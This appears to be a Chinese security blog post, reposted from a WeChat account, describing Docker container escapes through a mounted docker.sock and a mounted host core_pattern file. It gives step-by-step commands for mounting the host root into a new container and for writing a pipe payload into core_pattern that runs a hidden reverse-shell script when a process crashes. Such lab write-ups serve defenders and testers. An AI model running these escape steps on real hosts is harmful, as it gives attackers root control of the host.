危险挂载逃逸
一、Docker Socket 挂载
Docker Socket 是 Docker 守护进程与客户端之间通信的接口。所有的 Docker 操作,包括启动、停止容器、管理镜像等,都会通过 Docker Daemon(守护进程)处理,并通过这个 Unix Socket 提供一个 API 接口。默认情况下,这个 Socket 文件位于 /var/run/docker.sock。
原理
通过 Docker Socket 进行容器逃逸的攻击是因为 Docker 守护进程本身是高权限运行的,而容器的隔离性不如传统虚拟机强。攻击者可以通过访问 Docker Socket 获得 Docker API 的完全控制权限,从而启动高权限容器、执行恶意命令、访问宿主机资源。
前提
1、受害者以挂载docker socket方式启动容器;
2、攻击者拿到容器root权限的shell
受害者挂载docker socket启动容器
docker run -d --name pikachu -p 8888:80-v /var/run/docker.sock:/var/run/docker.sock pikachu
攻击者getshell后,发现是容器root权限,再用以下命令检测是否存在docker socket挂载
ls -lah /var/run/docker.sock
发现存在/var/run/docker.sock文件,即存在危险挂载
以刚才特权模式启动的容器来做对比,没有进行挂载就不会存在/var/run/docker.sock
逃逸过程
1、在容器内部,安装docker
apt update
apt install docker.io
2、验证是否获得了 Docker API 的完全控制权限,发现可以访问宿主机容器资源
3、利用这种权限创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/escape ubuntu /bin/bash
4、验证,成功逃逸
二、proc
文件系统挂载
procfs
是一个虚拟文件系统,通常用于暴露内核和进程信息,位于/proc
目录下。它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
原理
procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式。从2.6.19内核版本开始,Linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符|,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。该新功能原本是为了方便用户获得并处理内存转储数据,然而,它提供的命令执行能力也使其成为攻击者建立后门的候选地。
查阅了相关材料,我对该种方式的容器逃逸原理做了如下总结:
1、Core Dump(核心转储)机制:在Linux系统中,当进程崩溃时,系统会生成一个核心转储文件,用于记录进程的内存状态、寄存器等信息,方便后续调试。
2、核心转储行为由/proc/sys/kernel/core_pattern文件定义:文件内容可以是一个文件路径(核心转储直接保存到文件);也可以是一个管道命令(核心转储数据通过管道发送给命令处理程序,如core_pattern设置为|/usr/bin/core-handler)。当进程崩溃时,内核会读取core_pattern文件并执行其中定义的路径或命令。
3、由于受害者挂载了/proc/sys/kernel/core_pattern文件,攻击者拿到容器root权限后可以向该文件写入任意内容。
4、于是攻击者利用以上条件,向挂载的core_pattern文件里写入逃逸payload,崩溃一个进程来触发逃逸。
前提
1、受害者挂载/proc/sys/kernel/core_pattern启动容器;
2、攻击者拿到容器root权限的shell
受害者挂载/proc/sys/kernel/core_pattern启动容器(只要挂载了/proc/sys/kernel/core_pattern文件即可,实际操作中,可能会直接挂载/proc目录)
docker run -it -v /proc/sys/kernel/core_pattern:/escape/proc/sys/kernel/core_pattern ubuntu
攻击者getshell发现是容器root权限,再用以下命令检测是否存在procfs挂载
find / -name core_pattern
发现存在两个core_pattern,那就可能是挂载了宿主机的procfs
对比未进行procfs挂载的容器
逃逸过程
1、攻击者写入payload,首先得知道容器在宿主机下的绝对路径,通过以下命令查询挂载信息
cat /proc/mounts | grep docker
找到当前容器在宿主机下的绝对路径
把绝对路径修改成merged目录(目前测试diff目录也是可以的,尽量使用merged目录)
/var/lib/docker/overlay2/e928c7fb20f6624a80a6acebaef25d5ed0957205f837f25a3b80a58cf6ac9953/merged
/var/lib/docker/overlay2/:这是 Docker 在宿主机上存储容器文件系统的默认目录。overlay2是Docker默认使用的存储驱动(OverlayFS 的第二版),用于管理容器的文件系统层。e928c7fb20f6624a80a6acebaef25d5ed0957205f837f25a3b80a58cf6ac9953:这个是特定容器的 ID,代表容器的唯一标识符。每个容器都有一个类似这样的 ID,它指向该容器的文件系统数据。
/merged/目录:它表示容器当前运行时的文件系统视图,包括了容器层与基础镜像层的合并内容。如果你在容器内的/tmp目录创建了文件,它会出现在这个目录下,因为/merged/代表了容器的实时文件系统状态。
/diff/目录:这个目录记录的是Docker镜像层与容器层之间的差异,即容器对镜像的修改内容。/diff/目录中不会直接包含容器运行时的实时文件系统内容,而是显示容器启动时与镜像的差异。如果你在容器内创建了文件,这些文件会通过差异层保存。
2、往挂载的/proc/sys/kernel/core_pattern文件中写入payload,命令如下
echo -e "|/var/lib/docker/overlay2/e928c7fb20f6624a80a6acebaef25d5ed0957205f837f25a3b80a58cf6ac9953/merged/tmp/.qiuhui.sh rcore ">/escape/proc/sys/kernel/core_pattern
写入后,当进程崩溃后,该文件内管道符 | 后的文件会被执行,从而执行了我们的.qiuhui.sh隐藏文件,反弹shell
3、写入刚才payload指定的反弹shell脚本,并 chmod +x 赋予执行权限
(这里也可以使用python脚本,但是需要宿主机满足条件,脚本配置要对应宿主机python配置)
4、攻击者需要触发进程崩溃,于是在容器内部安装gcc,编译一个存在问题的c程序
apt update
apt install gcc
在/tmp目录下写入一个运行即崩溃的c代码文件,并编译成可执行文件
5、在另一主机开启监听
在容器内执行c程序,触发恶意文件.qiuhui.sh执行,成功逃逸
以下是使用本地虚拟机kali,用python脚本做的复现截图,也是没问题的
本地CMD窗口成功收到kali宿主机的反弹shell,逃逸成功
原文始发于微信公众号(仇辉攻防):【云安全】云原生-Docker(四)容器逃逸之危险挂载
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论